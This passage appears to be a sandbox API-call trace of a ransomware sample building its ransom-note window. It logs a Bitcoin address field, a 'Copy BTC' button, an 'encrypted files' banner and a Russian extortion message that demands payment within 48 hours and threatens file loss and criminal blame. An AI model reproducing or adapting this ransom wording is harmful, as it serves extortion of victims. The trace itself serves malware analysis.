(hWnd=0x10224, nIndex=-4) returned 88375414 [0153.876] GetWindowLongW (hWnd=0x10224, nIndex=-16) returned 1174405120 [0153.876] GetWindowLongW (hWnd=0x10224, nIndex=-12) returned 0 [0153.876] SetWindowLongW (hWnd=0x10224, nIndex=-12, dwNewLong=66084) returned 0 [0153.876] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10224, Msg=0x81, wParam=0x0, lParam=0x19e310) returned 0x1 [0153.877] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10224, Msg=0x83, wParam=0x0, lParam=0x19e2fc) returned 0x0 [0153.877] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10224, Msg=0x1, wParam=0x0, lParam=0x19e310) returned 0x0 [0153.877] GetWindow (hWnd=0x10224, uCmd=0x3) returned 0x10222 [0153.877] GetClientRect (in: hWnd=0x10224, lpRect=0x19dff8 | out: lpRect=0x19dff8) returned 1 [0153.877] GetWindowRect (in: hWnd=0x10224, lpRect=0x19dff8 | out: lpRect=0x19dff8) returned 1 [0153.877] GetParent (hWnd=0x10224) returned 0x10220 [0153.877] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10220, lpPoints=0x19dff8, cPoints=0x2 | out: lpPoints=0x19dff8) returned -38076918 [0153.878] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10224, Msg=0x5, wParam=0x0, lParam=0x22002e) returned 0x0 [0153.878] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10224, Msg=0x3, wParam=0x0, lParam=0x230007) returned 0x0 [0153.878] GetClientRect (in: hWnd=0x10224, lpRect=0x19e050 | out: lpRect=0x19e050) returned 1 [0153.878] GetWindowRect (in: hWnd=0x10224, lpRect=0x19e050 | out: lpRect=0x19e050) returned 1 [0153.878] GetParent (hWnd=0x10224) returned 0x10220 [0153.878] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10220, lpPoints=0x19e050, cPoints=0x2 | out: lpPoints=0x19e050) returned -38076918 [0153.878] SendMessageW (hWnd=0x10224, Msg=0x2210, wParam=0x2240001, lParam=0x10224) returned 0x0 [0153.878] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10224, Msg=0x2210, wParam=0x2240001, lParam=0x10224) returned 0x0 [0153.879] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10224, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.879] GetParent (hWnd=0x10224) returned 0x10220 [0153.879] GetCurrentActCtx (in: lphActCtx=0x19e8c8 | out: lphActCtx=0x19e8c8*=0xef1264) returned 1 [0153.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.880] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.880] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="1Cm6VtFJmJGVLiaUh5WVKWau7QhJhtkj3G", dwStyle=0x560100c0, X=58, Y=44, nWidth=426, nHeight=29, hWndParent=0x10220, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10226 [0153.881] SetWindowLongW (hWnd=0x10226, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0153.881] GetWindowLongW (hWnd=0x10226, nIndex=-4) returned 1876218976 [0153.881] SetWindowLongW (hWnd=0x10226, nIndex=-4, dwNewLong=88375134) returned 1876218976 [0153.882] GetWindowLongW (hWnd=0x10226, nIndex=-4) returned 88375134 [0153.882] GetWindowLongW (hWnd=0x10226, nIndex=-16) returned 1174470848 [0153.882] GetWindowLongW (hWnd=0x10226, nIndex=-12) returned 0 [0153.882] SetWindowLongW (hWnd=0x10226, nIndex=-12, dwNewLong=66086) returned 0 [0153.882] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0x81, wParam=0x0, lParam=0x19e2e8) returned 0x1 [0153.883] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0x83, wParam=0x0, lParam=0x19e2d4) returned 0x0 [0153.883] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0x1, wParam=0x0, lParam=0x19e2e8) returned 0x1 [0153.884] SendMessageW (hWnd=0x10226, Msg=0x2111, wParam=0x4000226, lParam=0x10226) returned 0x0 [0153.884] SendMessageW (hWnd=0x10226, Msg=0x2111, wParam=0x3000226, lParam=0x10226) returned 0x0 [0153.885] SendMessageW (hWnd=0x10226, Msg=0x2055, wParam=0x10226, lParam=0x3) returned 0x2 [0153.885] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0153.885] GetWindow (hWnd=0x10226, uCmd=0x3) returned 0x10224 [0153.885] GetClientRect (in: hWnd=0x10226, lpRect=0x19dfa8 | out: lpRect=0x19dfa8) returned 1 [0153.885] GetWindowRect (in: hWnd=0x10226, lpRect=0x19dfa8 | out: lpRect=0x19dfa8) returned 1 [0153.885] GetParent (hWnd=0x10226) returned 0x10220 [0153.885] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10220, lpPoints=0x19dfa8, cPoints=0x2 | out: lpPoints=0x19dfa8) returned -38076918 [0153.885] GetDC (hWnd=0x0) returned 0x1b010670 [0153.885] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19de44) returned 0x0 [0153.886] CoTaskMemAlloc (cb=0x5c) returned 0xeeace0 [0153.886] GdipGetLogFontW (font=0x6911a00, graphics=0x6915b28, logfontW=0xeeace0) returned 0x0 [0153.887] CoTaskMemFree (pv=0xeeace0) [0153.887] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0153.887] CoTaskMemFree (pv=0xeeb088) [0153.887] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0153.887] CoTaskMemFree (pv=0xeeb088) [0153.887] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0153.887] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0153.887] CoTaskMemAlloc (cb=0x5c) returned 0xeeb2f8 [0153.887] CreateFontIndirectW (lplf=0xeeb2f8) returned 0x6e0a06fd [0153.887] CoTaskMemFree (pv=0xeeb2f8) [0153.887] SendMessageW (hWnd=0x10226, Msg=0x30, wParam=0x6e0a06fd, lParam=0x0) returned 0x1 [0153.887] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0x30, wParam=0x6e0a06fd, lParam=0x0) returned 0x1 [0153.897] SendMessageW (hWnd=0x10226, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0153.897] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0153.897] SetWindowTextW (hWnd=0x10226, lpString="1Cm6VtFJmJGVLiaUh5WVKWau7QhJhtkj3G") returned 1 [0153.897] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0xc, wParam=0x0, lParam=0x2fb98c4) returned 0x1 [0153.897] SendMessageW (hWnd=0x10226, Msg=0x2111, wParam=0x4000226, lParam=0x10226) returned 0x0 [0153.897] SendMessageW (hWnd=0x10226, Msg=0x2111, wParam=0x3000226, lParam=0x10226) returned 0x0 [0153.898] GetSystemMetrics (nIndex=5) returned 1 [0153.898] GetSystemMetrics (nIndex=6) returned 1 [0153.898] SendMessageW (hWnd=0x10226, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0153.898] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0153.898] SendMessageW (hWnd=0x10226, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0153.898] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0153.898] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0x5, wParam=0x0, lParam=0x1901a6) returned 0x0 [0153.898] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0x3, wParam=0x0, lParam=0x2e003c) returned 0x0 [0153.899] GetClientRect (in: hWnd=0x10226, lpRect=0x19e000 | out: lpRect=0x19e000) returned 1 [0153.899] GetWindowRect (in: hWnd=0x10226, lpRect=0x19e000 | out: lpRect=0x19e000) returned 1 [0153.899] GetParent (hWnd=0x10226) returned 0x10220 [0153.899] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10220, lpPoints=0x19e000, cPoints=0x2 | out: lpPoints=0x19e000) returned -38076918 [0153.899] SendMessageW (hWnd=0x10226, Msg=0x2210, wParam=0x2260001, lParam=0x10226) returned 0x0 [0153.899] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0x2210, wParam=0x2260001, lParam=0x10226) returned 0x0 [0153.900] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.900] GetParent (hWnd=0x10226) returned 0x10220 [0153.900] GetCurrentActCtx (in: lphActCtx=0x19e8ec | out: lphActCtx=0x19e8ec*=0xef1264) returned 1 [0153.900] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.901] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.901] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r11_ad1", lpWindowName="Copy BTC", dwStyle=0x5601000b, X=491, Y=35, nWidth=118, nHeight=41, hWndParent=0x10220, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10228 [0153.901] SetWindowLongW (hWnd=0x10228, nIndex=-4, dwNewLong=1876224000) returned 88375534 [0153.901] GetWindowLongW (hWnd=0x10228, nIndex=-4) returned 1876224000 [0153.901] SetWindowLongW (hWnd=0x10228, nIndex=-4, dwNewLong=88375494) returned 1876224000 [0153.902] GetWindowLongW (hWnd=0x10228, nIndex=-4) returned 88375494 [0153.902] GetWindowLongW (hWnd=0x10228, nIndex=-16) returned 1174470667 [0153.902] GetWindowLongW (hWnd=0x10228, nIndex=-12) returned 0 [0153.902] SetWindowLongW (hWnd=0x10228, nIndex=-12, dwNewLong=66088) returned 0 [0153.902] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0x81, wParam=0x0, lParam=0x19e310) returned 0x1 [0153.902] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0x83, wParam=0x0, lParam=0x19e2fc) returned 0x0 [0153.903] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0x1, wParam=0x0, lParam=0x19e310) returned 0x0 [0153.903] SendMessageW (hWnd=0x10228, Msg=0x2055, wParam=0x10228, lParam=0x3) returned 0x2 [0153.903] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0153.903] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0153.904] GetWindow (hWnd=0x10228, uCmd=0x3) returned 0x10226 [0153.904] GetClientRect (in: hWnd=0x10228, lpRect=0x19dfb0 | out: lpRect=0x19dfb0) returned 1 [0153.904] GetWindowRect (in: hWnd=0x10228, lpRect=0x19dfb0 | out: lpRect=0x19dfb0) returned 1 [0153.904] GetParent (hWnd=0x10228) returned 0x10220 [0153.904] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10220, lpPoints=0x19dfb0, cPoints=0x2 | out: lpPoints=0x19dfb0) returned -38076918 [0153.904] SetWindowTextW (hWnd=0x10228, lpString="Copy BTC") returned 1 [0153.904] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0xc, wParam=0x0, lParam=0x2fbb258) returned 0x1 [0153.904] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0x5, wParam=0x0, lParam=0x290076) returned 0x0 [0153.904] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0x3, wParam=0x0, lParam=0x2301eb) returned 0x0 [0153.904] GetClientRect (in: hWnd=0x10228, lpRect=0x19e008 | out: lpRect=0x19e008) returned 1 [0153.905] GetWindowRect (in: hWnd=0x10228, lpRect=0x19e008 | out: lpRect=0x19e008) returned 1 [0153.905] GetParent (hWnd=0x10228) returned 0x10220 [0153.905] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10220, lpPoints=0x19e008, cPoints=0x2 | out: lpPoints=0x19e008) returned -38076918 [0153.905] SendMessageW (hWnd=0x10228, Msg=0x2210, wParam=0x2280001, lParam=0x10228) returned 0x0 [0153.905] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0x2210, wParam=0x2280001, lParam=0x10228) returned 0x0 [0153.905] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.905] GetParent (hWnd=0x10228) returned 0x10220 [0153.905] GetCurrentActCtx (in: lphActCtx=0x19e904 | out: lphActCtx=0x19e904*=0xef1264) returned 1 [0153.905] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.906] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.906] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="Доброго времени суток!!!\r\n\r\nВсе файлы на вашем компьютере зашифрованы.\r\nРасшифровать фалы возможно только при нашей помощи!!!\r\n\r\nВам необходимо в течение 48 часов произвести оплату для расшифровки ваших \r\nфайлов в соответствие с тарифом вашей страны.\r\nТарифы указанны в окошке с лева!!!\r\nИ обратиться к нам после оплаты за вашим индивидуальным ключем расшифровки по контактам ниже:\r\n\r\nЕсли этого не произойдет то через 72 часа все ваши файлы будут утеряны.\r\nК тому же мы используем ваш компьютер в своих не законных действиях.\r\nА по сколько ваш компьютер куплен вами и в соответствие с законодательством вашей \r\nстраны является вашей собственностью.\r\nИ нести уголовную ответственность за наши действия будете вы)))\r\n\r\nПоспешите произвести оплату", dwStyle=0x56210045, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1022a [0153.906] SetWindowLongW (hWnd=0x1022a, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0153.906] GetWindowLongW (hWnd=0x1022a, nIndex=-4) returned 1876218976 [0153.907] SetWindowLongW (hWnd=0x1022a, nIndex=-4, dwNewLong=88375094) returned 1876218976 [0153.907] GetWindowLongW (hWnd=0x1022a, nIndex=-4) returned 88375094 [0153.907] GetWindowLongW (hWnd=0x1022a, nIndex=-16) returned 1176567877 [0153.907] GetWindowLongW (hWnd=0x1022a, nIndex=-12) returned 0 [0153.907] SetWindowLongW (hWnd=0x1022a, nIndex=-12, dwNewLong=66090) returned 0 [0153.907] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x81, wParam=0x0, lParam=0x19e328) returned 0x1 [0153.908] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x83, wParam=0x0, lParam=0x19e314) returned 0x0 [0153.909] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x1, wParam=0x0, lParam=0x19e328) returned 0x1 [0153.910] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x7c, wParam=0xfffffff0, lParam=0x19dd14) returned 0x0 [0153.910] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x7d, wParam=0xfffffff0, lParam=0x19dd14) returned 0x1 [0153.963] GetWindow (hWnd=0x1022a, uCmd=0x3) returned 0x10220 [0153.963] GetClientRect (in: hWnd=0x1022a, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0153.963] GetWindowRect (in: hWnd=0x1022a, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0153.963] GetParent (hWnd=0x1022a) returned 0x7004e [0153.964] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19dfe8, cPoints=0x2 | out: lpPoints=0x19dfe8) returned -16187697 [0153.964] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0153.964] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.964] GetSystemMetrics (nIndex=42) returned 0 [0153.964] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dea4, nMaxCount=1 | out: lpString="") returned 0 [0153.964] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dea4) returned 0x0 [0153.964] GetDC (hWnd=0x0) returned 0x1b010670 [0153.964] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19de84) returned 0x0 [0153.964] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0153.964] GdipGetLogFontW (font=0x6911b18, graphics=0x6915b28, logfontW=0xeeaba8) returned 0x0 [0153.964] CoTaskMemFree (pv=0xeeaba8) [0153.964] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0153.965] CoTaskMemFree (pv=0xeead48) [0153.965] CoTaskMemAlloc (cb=0x5c) returned 0xeeae18 [0153.965] CoTaskMemFree (pv=0xeeae18) [0153.965] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0153.965] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0153.965] CoTaskMemAlloc (cb=0x5c) returned 0xeeb290 [0153.965] CreateFontIndirectW (lplf=0xeeb290) returned 0x300a0709 [0153.965] CoTaskMemFree (pv=0xeeb290) [0153.965] SendMessageW (hWnd=0x1022a, Msg=0x30, wParam=0x300a0709, lParam=0x0) returned 0x1 [0153.965] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x30, wParam=0x300a0709, lParam=0x0) returned 0x1 [0153.984] SetWindowTextW (hWnd=0x1022a, lpString="Доброго времени суток!!!\r\n\r\nВсе файлы на вашем компьютере зашифрованы.\r\nРасшифровать фалы возможно только при нашей помощи!!!\r\n\r\nВам необходимо в течение 48 часов произвести оплату для расшифровки ваших \r\nфайлов в соответствие с тарифом вашей страны.\r\nТарифы указанны в окошке с лева!!!\r\nИ обратиться к нам после оплаты за вашим индивидуальным ключем расшифровки по контактам ниже:\r\n\r\nЕсли этого не произойдет то через 72 часа все ваши файлы будут утеряны.\r\nК тому же мы используем ваш компьютер в своих не законных действиях.\r\nА по сколько ваш компьютер куплен вами и в соответствие с законодательством вашей \r\nстраны является вашей собственностью.\r\nИ нести уголовную ответственность за наши действия будете вы)))\r\n\r\nПоспешите произвести оплату") returned 1 [0153.984] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0xc, wParam=0x0, lParam=0x2fbc0f4) returned 0x1 [0153.986] GetSystemMetrics (nIndex=5) returned 1 [0153.986] GetSystemMetrics (nIndex=6) returned 1 [0153.986] SendMessageW (hWnd=0x1022a, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0153.986] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0153.986] SendMessageW (hWnd=0x1022a, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0153.986] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0153.987] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x5, wParam=0x0, lParam=0x13d0258) returned 0x1 [0153.988] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x3, wParam=0x0, lParam=0x800c6) returned 0x0 [0153.988] GetClientRect (in: hWnd=0x1022a, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0153.988] GetWindowRect (in: hWnd=0x1022a, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0153.988] GetParent (hWnd=0x1022a) returned 0x7004e [0153.988] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e040, cPoints=0x2 | out: lpPoints=0x19e040) returned -16187697 [0153.988] SendMessageW (hWnd=0x1022a, Msg=0x2210, wParam=0x22a0001, lParam=0x1022a) returned 0x0 [0153.989] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x2210, wParam=0x22a0001, lParam=0x1022a) returned 0x0 [0153.989] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.989] GetParent (hWnd=0x1022a) returned 0x7004e [0153.989] GetCurrentActCtx (in: lphActCtx=0x19e964 | out: lphActCtx=0x19e964*=0xef1264) returned 1 [0153.989] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.990] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.990] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=0, Y=0, nWidth=829, nHeight=95, hWndParent=0x40078, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1022c [0153.990] SetWindowLongW (hWnd=0x1022c, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0153.990] GetWindowLongW (hWnd=0x1022c, nIndex=-4) returned 1952448832 [0153.990] SetWindowLongW (hWnd=0x1022c, nIndex=-4, dwNewLong=88375694) returned 1952448832 [0153.991] GetWindowLongW (hWnd=0x1022c, nIndex=-4) returned 88375694 [0153.991] GetWindowLongW (hWnd=0x1022c, nIndex=-16) returned 1174405120 [0153.991] GetWindowLongW (hWnd=0x1022c, nIndex=-12) returned 0 [0153.991] SetWindowLongW (hWnd=0x1022c, nIndex=-12, dwNewLong=66092) returned 0 [0153.991] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x81, wParam=0x0, lParam=0x19e388) returned 0x1 [0153.991] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x83, wParam=0x0, lParam=0x19e374) returned 0x0 [0153.991] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x1, wParam=0x0, lParam=0x19e388) returned 0x0 [0153.991] GetWindow (hWnd=0x1022c, uCmd=0x3) returned 0x7004e [0153.991] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e064 | out: lpRect=0x19e064) returned 1 [0153.991] GetWindowRect (in: hWnd=0x1022c, lpRect=0x19e064 | out: lpRect=0x19e064) returned 1 [0153.992] GetParent (hWnd=0x1022c) returned 0x40078 [0153.992] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40078, lpPoints=0x19e064, cPoints=0x2 | out: lpPoints=0x19e064) returned -9961777 [0153.992] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x5, wParam=0x0, lParam=0x5f033d) returned 0x0 [0153.992] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0153.992] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e0bc | out: lpRect=0x19e0bc) returned 1 [0153.992] GetWindowRect (in: hWnd=0x1022c, lpRect=0x19e0bc | out: lpRect=0x19e0bc) returned 1 [0153.992] GetParent (hWnd=0x1022c) returned 0x40078 [0153.992] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40078, lpPoints=0x19e0bc, cPoints=0x2 | out: lpPoints=0x19e0bc) returned -9961777 [0153.992] SendMessageW (hWnd=0x1022c, Msg=0x2210, wParam=0x22c0001, lParam=0x1022c) returned 0x0 [0153.992] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x2210, wParam=0x22c0001, lParam=0x1022c) returned 0x0 [0153.993] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.993] GetParent (hWnd=0x1022c) returned 0x40078 [0153.993] GetCurrentActCtx (in: lphActCtx=0x19e928 | out: lphActCtx=0x19e928*=0xef1264) returned 1 [0153.993] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.994] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.994] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Sorry! Your files have been encrypted!", dwStyle=0x5600000d, X=198, Y=53, nWidth=519, nHeight=33, hWndParent=0x1022c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1022e [0153.994] SetWindowLongW (hWnd=0x1022e, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0153.994] GetWindowLongW (hWnd=0x1022e, nIndex=-4) returned 1876339648 [0153.994] SetWindowLongW (hWnd=0x1022e, nIndex=-4, dwNewLong=88375734) returned 1876339648 [0153.995] GetWindowLongW (hWnd=0x1022e, nIndex=-4) returned 88375734 [0153.995] GetWindowLongW (hWnd=0x1022e, nIndex=-16) returned 1174405133 [0153.995] GetWindowLongW (hWnd=0x1022e, nIndex=-12) returned 0 [0153.995] SetWindowLongW (hWnd=0x1022e, nIndex=-12, dwNewLong=66094) returned 0 [0153.995] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x81, wParam=0x0, lParam=0x19e348) returned 0x1 [0153.995] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x83, wParam=0x0, lParam=0x19e334) returned 0x0 [0153.996] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x1, wParam=0x0, lParam=0x19e348) returned 0x0 [0153.996] GetWindow (hWnd=0x1022e, uCmd=0x3) returned 0x0 [0153.996] GetClientRect (in: hWnd=0x1022e, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0153.996] GetWindowRect (in: hWnd=0x1022e, lpRect=0x19dff4 | out: lpRect=0x19dff4) returned 1 [0153.996] GetParent (hWnd=0x1022e) returned 0x1022c [0153.996] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19dff4, cPoints=0x2 | out: lpPoints=0x19dff4) returned -9961777 [0153.996] SetWindowTextW (hWnd=0x1022e, lpString="Sorry! Your files have been encrypted!") returned 1 [0153.996] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0xc, wParam=0x0, lParam=0x2f8bb70) returned 0x1 [0153.997] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x5, wParam=0x0, lParam=0x210207) returned 0x0 [0153.997] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x3, wParam=0x0, lParam=0x3500c6) returned 0x0 [0153.997] GetClientRect (in: hWnd=0x1022e, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0153.997] GetWindowRect (in: hWnd=0x1022e, lpRect=0x19e04c | out: lpRect=0x19e04c) returned 1 [0153.997] GetParent (hWnd=0x1022e) returned 0x1022c [0153.997] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19e04c, cPoints=0x2 | out: lpPoints=0x19e04c) returned -9961777 [0153.997] SendMessageW (hWnd=0x1022e, Msg=0x2210, wParam=0x22e0001, lParam=0x1022e) returned 0x0 [0153.997] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x2210, wParam=0x22e0001, lParam=0x1022e) returned 0x0 [0153.997] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.998] GetParent (hWnd=0x1022e) returned 0x1022c [0153.998] GetCurrentActCtx (in: lphActCtx=0x19e8f8 | out: lphActCtx=0x19e8f8*=0xef1264) returned 1 [0153.998] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.998] GetDC (hWnd=0x0) returned 0x1b010670 [0153.998] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e7a8) returned 0x0 [0153.998] GdipGetFontHeight (font=0x6911be0, graphics=0x6915b28, height=0x19e7a0) returned 0x0 [0153.998] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0153.999] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0153.999] GdipGetFamilyName (in: family=0x57faee0, name=0x19e6e4, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0153.999] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0153.999] CoTaskMemAlloc (cb=0x5c) returned 0xeeb290 [0153.999] CreateFontIndirectW (lplf=0xeeb290) returned 0x480a06e6 [0153.999] CoTaskMemFree (pv=0xeeb290) [0153.999] GetObjectW (in: h=0x480a06e6, c=92, pv=0x19e6a8 | out: pv=0x19e6a8) returned 92 [0153.999] SelectObject (hdc=0x8e0106dd, h=0x480a06e6) returned 0x3f0a071a [0153.999] DeleteObject 